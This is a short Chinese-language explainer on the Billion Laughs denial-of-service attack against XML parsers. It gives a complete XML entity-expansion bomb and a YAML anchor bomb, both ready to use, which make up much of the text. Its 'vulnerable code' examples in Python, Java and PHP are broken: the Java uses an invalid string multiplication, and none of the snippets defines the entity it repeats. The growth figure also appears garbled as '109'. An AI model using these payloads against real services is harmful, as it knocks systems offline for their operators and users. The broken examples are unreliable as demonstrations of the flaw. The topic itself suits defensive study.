billion laughs attack

0x00 about

Billion Laughs攻击是针对XML解析器的拒绝服务攻击。

最早被公开讨论是在2002年的DEF CON会议上。

Billion Laughs攻击也称为XML炸弹，实际上，是指数实体扩展攻击。即使使用格式正确的XML，也可能发生Billion Laughs攻击，并且还可以通过XML模式验证。

0x01 code example

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当XML解析器加载此文档时，它会看到它包含一个根元素“lolz”，该元素包含文本“&lol9；”。但是，“&lol9；”是一个已定义的实体，它扩展为包含十个“&lol8；”字符串的字符串。每个“&lol8；”字符串都是一个定义的实体，可以扩展到十个“&lol7；”字符串，依此类推。在处理完所有实体扩展后，这个小（<1 KB）的XML块实际上将包含109=10亿个“lol”，占用近3 GB的内存。

0x02 Variations

上面描述的十亿笑攻击可能需要指数级的空间或时间。二次放大变化通过简单地一遍又一遍地重复一个大实体来避免检测到大量嵌套实体的对策，从而导致资源需求的二次增长。

任何可以包含宏扩展的文件格式都可能存在“十亿笑”攻击，例如这个YAML炸弹：

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

这导致早期版本的Go崩溃，因为Go YAML处理器（与YAML规范相反）将引用扩展为宏。

Go YAML处理器被修改为在结果对象变得太大时解析失败。

0x03 Example of vulnerable code on different programming languages:

import xml.etree.ElementTree as ET
xml_string = "<root>" + ("&x;" * 1000000) + "</root>"
parser = ET.XMLParser()
parser.feed(xml_string)
root = parser.close()

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

public class XmlBombExample {
  public static void main(String[] args) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    String xmlString = "<root>" + ("&x;" * 1000000) + "</root>";
    Document doc = builder.parse(new ByteArrayInputStream(xmlString.getBytes()));
  }
}

$loadEntities = libxml_disable_entity_loader(false);
$xmlString = "<root>" . str_repeat("&x;", 1000000) . "</root>";
$xml = simplexml_load_string($xmlString);
libxml_disable_entity_loader($loadEntities);